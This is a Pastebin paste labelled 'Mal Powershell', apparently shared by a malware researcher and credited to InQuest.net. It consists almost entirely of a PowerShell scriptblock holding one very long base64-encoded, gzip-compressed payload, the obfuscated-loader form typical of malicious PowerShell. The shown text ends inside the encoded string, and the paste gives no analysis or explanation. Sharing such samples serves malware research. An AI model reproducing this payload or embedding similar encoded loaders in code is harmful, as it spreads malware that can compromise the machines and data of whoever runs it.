dissectmalware

Mal Powershell

Mar 7th, 2019
1,599
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # https://twitter.com/DissectMalware/status/1103611699452657665
  2. # Analyzed by InQuest.net
  3. $TRum={
  4.  
  5. $Dxx='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